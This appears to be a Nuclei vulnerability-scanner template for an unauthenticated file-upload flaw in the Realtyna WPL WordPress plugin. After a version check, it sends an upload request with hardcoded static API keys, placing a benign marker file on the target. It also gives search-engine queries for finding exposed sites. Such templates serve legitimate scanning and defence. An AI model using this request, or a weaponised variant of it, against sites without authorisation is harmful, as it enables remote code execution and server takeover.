Realtyna Organic IDX/WPL <= 5.2.0 - Unauthenticated Arbitrary File Upload

id: CVE-2026-14483

info:
  name: Realtyna Organic IDX/WPL <= 5.2.0 - Unauthenticated Arbitrary File Upload
  author: str4k3r
  severity: critical
  description: |
    Realtyna Organic IDX plugin + WPL Real Estate plugin for WordPress <= 5.2.0 contains an unrestricted file upload vulnerability caused by missing file type validation and static API credentials, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires knowledge of static API credentials.
  impact: |
    Unauthenticated attackers can upload executable files, leading to remote code execution and full server compromise.
  remediation: |
    Update to a version later than 5.2.0 or apply patches that enforce proper file validation and unique API credentials.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-14483
    - https://github.com/0xdak/CVE-2026-14483_exploit
    - https://wordpress.org/plugins/real-estate-listing-realtyna-wpl/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-14483
    epss-score: 0.03971
    epss-percentile: 0.90559
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    vendor: realtyna
    product: real-estate-listing-realtyna-wpl
    shodan-query: http.html:"real-estate-listing-realtyna-wpl"
    fofa-query: body="real-estate-listing-realtyna-wpl"
  tags: cve,cve2026,wordpress,wp-plugin,wpl,realtyna,file-upload,unauth,intrusive

flow: http(1) && http(2)

variables:
  probe_filename: "image_CVE14483_{{rand_base(10)}}.txt"

http:
  - raw:
      - |
        GET /wp-content/plugins/real-estate-listing-realtyna-wpl/readme.txt HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "WPL Real Estate", "Realtyna Organic IDX", "Organic IDX plugin")'
          - 'compare_versions(ver, "<= 5.2.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: ver
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9][0-9.]+)'
        internal: true

  - raw:
      - |
        POST /?wplformat=io&wplview=io&public_key=U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w&private_key=Eft76bdh0o2uyhJkbG3T&commands_directory=mobile_application&cmd=set_property&user_id=1&dformat=json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----CVE14483Boundary

        ------CVE14483Boundary
        Content-Disposition: form-data; name="file[]"; filename="{{probe_filename}}"
        Content-Type: text/plain

        CVE14483_SAFE_MARKER
        ------CVE14483Boundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"result\"", "\"success\":true")'
        condition: and